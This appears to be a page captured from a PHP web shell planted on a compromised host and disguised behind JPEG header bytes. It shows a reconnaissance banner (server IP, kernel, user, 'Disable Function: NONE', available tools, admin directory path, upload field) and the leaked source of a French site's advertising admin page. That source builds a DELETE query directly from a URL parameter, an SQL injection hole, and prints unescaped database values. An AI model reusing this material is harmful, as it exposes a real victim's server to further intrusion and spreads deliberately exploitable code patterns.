ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
$id_volet ="49";
include('includes/volet.php');
/****************************/
if (isset($_GET['online'])) {
$id = $_GET['online'];
$requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['advertisings'] . ' SET status = 1 WHERE id = :id');
$requete->execute(array('id' => $id));
echo '<script>';
echo 'window.location = "./advertisings.php"';
echo '</script>';
}
if (isset($_GET['offline'])) {
$id = $_GET['offline'];
$requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['advertisings'] . ' SET status = 0 WHERE id = :id');
$requete->execute(array('id' => $id));
echo '<script>';
echo 'window.location = "./advertisings.php';
echo '</script>';
}
if (isset($_GET['del']))
{
$id = $_GET['del'];
$bdd->exec("DELETE FROM " . $GLOBALS['db_table']['advertisings'] . " WHERE id = $id");
echo '<script>';
echo 'window.location = "./advertisings.php"';
echo '</script>';
}
?>
<script type="text/javascript">
$(document).ready(function() {
$("#sortlist").Sortable({
accept: 'dragDrop',
opacity: 0.6,
axis : 'vertically',
onchange : function ( sorted ) {
serial = $.SortSerialize ('sortlist');
// requète Ajax pour l'enregistrement des positions
$.ajax ( {
url : "includes/set_position.php?table=advertisings&field=position",
type : "post",
data : serial.hash
});
}
});
});
</script>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Gérer vos Publicités
<div class="pull-right">
<a href="add_advertising.php" class="btn btn-primary" id="form"><i class="icon-plus"></i> Ajouter Publicitée(s)</a>
</div>
</h1>
</div>
</div>
</div>
<table id="sortlist" class="table table-bordered table-striped">
<thead>
<tr>
<th class="span1 center">Vignette</th>
<th class="span1 center">Nom</th>
<th class="span3 center">Emplacement</th>
<th class="span1 center">Opérations</th>
</tr>
</thead>
<tbody>
<?php
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['advertisings'] . " ORDER BY position");
if ($row = $requete->fetch()) {
do {
?>
<tr class="dragDrop" id="img_<?php echo $row['id']; ?>" title="<?php echo $row['name']; ?>" style="cursor : ns-resize;">
<td class="span1 font12 center">
<img src="../uploadfiles/slide1_internal/<?php echo $row['picture']; ?>">
</td>
<td class="center">
<b><?php echo $row['name']; ?></b>
</td>
<td class="center">
<?php if($row['location'] == '1') echo '<b>Droit Haut</b>';?>
<?php if($row['location'] == '2') echo '<b>Droit Bas</b>';?>
<?php if($row['location'] == '3') echo '<b>Header</b>';?>
<?php if($row['location'] == '4') echo '<b>Colonne Gauche Fixe</b> (image empilée)';?>
<?php if($row['location'] == '5') echo '<b>Colonne Droite Fixe</b> (image empilée)';?>
</td>
<td class="center">
<?php if($row['status'] == 0)
echo '<a href="./advertisings.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Editer la page"></a>';
else
echo '<a href="./advertisings.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Editer la page"></a>';
?>
<a href="edit_advertising.php?id=<?php echo $row['id']; ?>">
<img src="assets/img/edit.png" title="Editer l'url de la pub">
</a>
<a href="./advertisings.php?del=<?php echo $row['id']; ?>" id="<?php echo $row['id']; ?>" onclick="return confirm('ATTENTION !!! La PUB sera complètement supprimée du site !');">
<img src="assets/img/delete.png" title="Supprimer" />
</a>
</td>
</tr>
<?php
}while ($row = $requete->fetch());
} else {
echo 'Aucune page à afficher !!!';
}
?>
</tbody>
</table>
</div>
<?
include_once('includes/footer.php');
?>